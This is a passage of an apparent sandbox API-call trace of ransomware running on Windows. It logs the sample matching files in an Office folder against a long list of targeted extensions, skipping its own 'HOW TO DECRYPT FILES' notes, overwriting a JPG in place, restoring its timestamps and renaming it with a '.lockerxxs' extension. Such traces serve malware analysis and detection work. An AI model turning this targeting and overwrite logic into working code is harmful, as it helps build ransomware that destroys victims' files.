(lpString="*.ppt") returned 5 [0065.476] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.pptx") returned 0 [0065.476] lstrlenA (lpString="*.pptx") returned 6 [0065.476] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.doc") returned 0 [0065.476] lstrlenA (lpString="*.doc") returned 5 [0065.476] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.dot") returned 0 [0065.476] lstrlenA (lpString="*.dot") returned 5 [0065.476] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.docx") returned 0 [0065.476] lstrlenA (lpString="*.docx") returned 6 [0065.476] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.7z") returned 0 [0065.476] lstrlenA (lpString="*.7z") returned 4 [0065.476] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.tar") returned 0 [0065.476] lstrlenA (lpString="*.tar") returned 5 [0065.476] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.bz2") returned 0 [0065.476] lstrlenA (lpString="*.bz2") returned 5 [0065.476] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.gz") returned 0 [0065.476] lstrlenA (lpString="*.gz") returned 4 [0065.476] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.mkv") returned 0 [0065.477] lstrlenA (lpString="*.mkv") returned 5 [0065.477] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.eml") returned 0 [0065.477] lstrlenA (lpString="*.eml") returned 5 [0065.477] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.msg") returned 0 [0065.477] lstrlenA (lpString="*.msg") returned 5 [0065.477] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.edb") returned 0 [0065.477] lstrlenA (lpString="*.edb") returned 5 [0065.477] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.accdb") returned 0 [0065.477] lstrlenA (lpString="*.accdb") returned 7 [0065.477] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.odb") returned 0 [0065.477] lstrlenA (lpString="*.odb") returned 5 [0065.477] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.java") returned 0 [0065.477] lstrlenA (lpString="*.java") returned 6 [0065.477] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.asm") returned 0 [0065.477] lstrlenA (lpString="*.asm") returned 5 [0065.477] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.pfx") returned 0 [0065.477] lstrlenA (lpString="*.pfx") returned 5 [0065.477] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.pem") returned 0 [0065.477] lstrlenA (lpString="*.pem") returned 5 [0065.477] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.p12") returned 0 [0065.477] lstrlenA (lpString="*.p12") returned 5 [0065.477] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.gpg") returned 0 [0065.477] lstrlenA (lpString="*.gpg") returned 5 [0065.477] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.vsd") returned 0 [0065.477] lstrlenA (lpString="*.vsd") returned 5 [0065.477] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.odg") returned 0 [0065.478] lstrlenA (lpString="*.odg") returned 5 [0065.478] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.raw") returned 0 [0065.478] lstrlenA (lpString="*.raw") returned 5 [0065.478] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.nef") returned 0 [0065.478] lstrlenA (lpString="*.nef") returned 5 [0065.478] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.svg") returned 0 [0065.478] lstrlenA (lpString="*.svg") returned 5 [0065.478] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.psd") returned 0 [0065.478] lstrlenA (lpString="*.psd") returned 5 [0065.478] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.vmx") returned 0 [0065.478] lstrlenA (lpString="*.vmx") returned 5 [0065.478] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.vmdk") returned 0 [0065.478] lstrlenA (lpString="*.vmdk") returned 6 [0065.478] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.vdi") returned 0 [0065.478] lstrlenA (lpString="*.vdi") returned 5 [0065.478] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.lay6") returned 0 [0065.478] lstrlenA (lpString="*.lay6") returned 6 [0065.478] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.mpeg") returned 0 [0065.478] lstrlenA (lpString="*.mpeg") returned 6 [0065.478] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.djvu") returned 0 [0065.478] lstrlenA (lpString="*.djvu") returned 6 [0065.478] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.tiff") returned 0 [0065.478] lstrlenA (lpString="*.tiff") returned 6 [0065.478] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.backup") returned 0 [0065.479] lstrlenA (lpString="*.backup") returned 8 [0065.479] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.pdf") returned 0 [0065.479] lstrlenA (lpString="*.pdf") returned 5 [0065.479] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.cert") returned 0 [0065.479] lstrlenA (lpString="*.cert") returned 6 [0065.479] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.docm") returned 0 [0065.479] lstrlenA (lpString="*.docm") returned 6 [0065.479] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.xlsm") returned 0 [0065.479] lstrlenA (lpString="*.xlsm") returned 6 [0065.479] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.dwg") returned 0 [0065.479] lstrlenA (lpString="*.dwg") returned 5 [0065.479] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.nd") returned 0 [0065.479] lstrlenA (lpString="*.nd") returned 4 [0065.479] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.tlg") returned 0 [0065.479] lstrlenA (lpString="*.tlg") returned 5 [0065.479] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.lgb") returned 0 [0065.479] lstrlenA (lpString="*.lgb") returned 5 [0065.479] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.mov") returned 0 [0065.479] lstrlenA (lpString="*.mov") returned 5 [0065.479] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.xdw") returned 0 [0065.479] lstrlenA (lpString="*.xdw") returned 5 [0065.479] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.ods") returned 0 [0065.479] lstrlenA (lpString="*.ods") returned 5 [0065.479] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.wav") returned 0 [0065.479] lstrlenA (lpString="*.wav") returned 5 [0065.479] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.mp3") returned 0 [0065.480] lstrlenA (lpString="*.mp3") returned 5 [0065.480] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.aiff") returned 0 [0065.480] lstrlenA (lpString="*.aiff") returned 6 [0065.480] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.flac") returned 0 [0065.480] lstrlenA (lpString="*.flac") returned 6 [0065.480] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.m4a") returned 0 [0065.480] lstrlenA (lpString="*.m4a") returned 5 [0065.480] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp", pszSpec="*.csv") returned 0 [0065.480] lstrlenA (lpString="*.csv") returned 5 [0065.480] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x200e, dwReserved0=0x6f006f, dwReserved1=0x73006c, cFileName="ProjectTaskIcon.jpg", cAlternateFileName="PROJEC~2.JPG")) returned 1 [0065.480] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.480] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ProjectTaskIcon.jpg") returned -1 [0065.480] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ProjectTaskIcon.jpg") returned -1 [0065.480] lstrcmpiA (lpString1="", lpString2="ProjectTaskIcon.jpg") returned -1 [0065.480] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp") returned="ProjectStatusIconsMask.bmp" [0065.480] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.480] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.480] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.480] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.480] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="ProjectTaskIcon.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg" [0065.480] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.ems") returned 0 [0065.481] lstrlenA (lpString="*.ems") returned 5 [0065.481] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.db") returned 0 [0065.481] lstrlenA (lpString="*.db") returned 4 [0065.481] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.dbf") returned 0 [0065.481] lstrlenA (lpString="*.dbf") returned 5 [0065.481] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.myox") returned 0 [0065.481] lstrlenA (lpString="*.myox") returned 6 [0065.481] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.myo") returned 0 [0065.481] lstrlenA (lpString="*.myo") returned 5 [0065.481] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.qbw") returned 0 [0065.481] lstrlenA (lpString="*.qbw") returned 5 [0065.481] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.qbb") returned 0 [0065.481] lstrlenA (lpString="*.qbb") returned 5 [0065.481] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.qbm") returned 0 [0065.481] lstrlenA (lpString="*.qbm") returned 5 [0065.481] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.qbo") returned 0 [0065.481] lstrlenA (lpString="*.qbo") returned 5 [0065.481] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.qbx") returned 0 [0065.481] lstrlenA (lpString="*.qbx") returned 5 [0065.481] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.qba") returned 0 [0065.481] lstrlenA (lpString="*.qba") returned 5 [0065.481] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.qby") returned 0 [0065.481] lstrlenA (lpString="*.qby") returned 5 [0065.481] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.qbj") returned 0 [0065.481] lstrlenA (lpString="*.qbj") returned 5 [0065.482] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.ofx") returned 0 [0065.482] lstrlenA (lpString="*.ofx") returned 5 [0065.482] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.qif") returned 0 [0065.482] lstrlenA (lpString="*.qif") returned 5 [0065.482] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.mye") returned 0 [0065.482] lstrlenA (lpString="*.mye") returned 5 [0065.482] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.mbox") returned 0 [0065.482] lstrlenA (lpString="*.mbox") returned 6 [0065.482] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.eml") returned 0 [0065.482] lstrlenA (lpString="*.eml") returned 5 [0065.482] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.pst") returned 0 [0065.482] lstrlenA (lpString="*.pst") returned 5 [0065.482] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.ost") returned 0 [0065.482] lstrlenA (lpString="*.ost") returned 5 [0065.482] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.idx") returned 0 [0065.482] lstrlenA (lpString="*.idx") returned 5 [0065.482] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.dbx") returned 0 [0065.482] lstrlenA (lpString="*.dbx") returned 5 [0065.482] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.sql") returned 0 [0065.482] lstrlenA (lpString="*.sql") returned 5 [0065.482] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.mdb") returned 0 [0065.482] lstrlenA (lpString="*.mdb") returned 5 [0065.482] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.fdb") returned 0 [0065.482] lstrlenA (lpString="*.fdb") returned 5 [0065.482] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.wab") returned 0 [0065.483] lstrlenA (lpString="*.wab") returned 5 [0065.483] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.dat") returned 0 [0065.483] lstrlenA (lpString="*.dat") returned 5 [0065.483] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.txt") returned 0 [0065.483] lstrlenA (lpString="*.txt") returned 5 [0065.483] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.jpeg") returned 0 [0065.483] lstrlenA (lpString="*.jpeg") returned 6 [0065.483] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", pszSpec="*.jpg") returned 1 [0065.483] lstrlenA (lpString="*.jpg") returned 5 [0065.483] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg" [0065.483] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg" [0065.483] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg." [0065.483] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg.lockerxxs" [0065.483] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskicon.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.484] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x200e [0065.484] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb486c900, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x6d084c30, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb486c900, dwHighDateTime=0x1c747ea)) returned 1 [0065.484] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.484] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1fe8, lpOverlapped=0x0) returned 1 [0065.486] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg") returned="ProjectTaskIcon.jpg" [0065.486] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.486] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1fe8, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1fe8, lpOverlapped=0x0) returned 1 [0065.486] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.487] CloseHandle (hObject=0x98) returned 1 [0065.490] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg" (normalized: "c:\\program files\\microsoft 